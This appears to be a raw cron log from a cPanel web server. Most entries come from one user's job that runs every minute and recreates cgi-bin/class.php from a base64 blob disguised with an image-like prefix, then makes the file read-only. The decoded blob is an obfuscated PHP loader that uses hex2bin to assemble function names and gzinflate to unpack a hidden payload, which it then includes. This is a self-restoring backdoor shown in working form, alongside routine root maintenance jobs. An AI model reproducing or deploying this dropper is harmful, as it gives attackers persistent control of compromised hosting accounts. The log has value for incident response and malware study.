Nov 12 23:08:01 server CROND[26534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:09:01 server CROND[27279]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:09:01 server CROND[27280]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 23:10:01 server CROND[28116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:10:01 server CROND[28117]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 23:10:01 server CROND[28118]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:10:01 server CROND[28119]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:11:01 server CROND[29116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:12:01 server CROND[29997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:12:01 server CROND[29998]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 23:13:01 server CROND[30851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:14:01 server CROND[31886]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:15:01 server CROND[32750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:15:01 server CROND[32751]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:15:01 server CROND[32749]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:16:01 server CROND[1218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:17:01 server CROND[2194]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:18:01 server CROND[3108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:19:01 server CROND[4026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:20:01 server CROND[4829]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 23:20:01 server CROND[4831]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 23:20:01 server CROND[4832]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 23:20:01 server CROND[4835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 23:20:01 server CROND[4833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
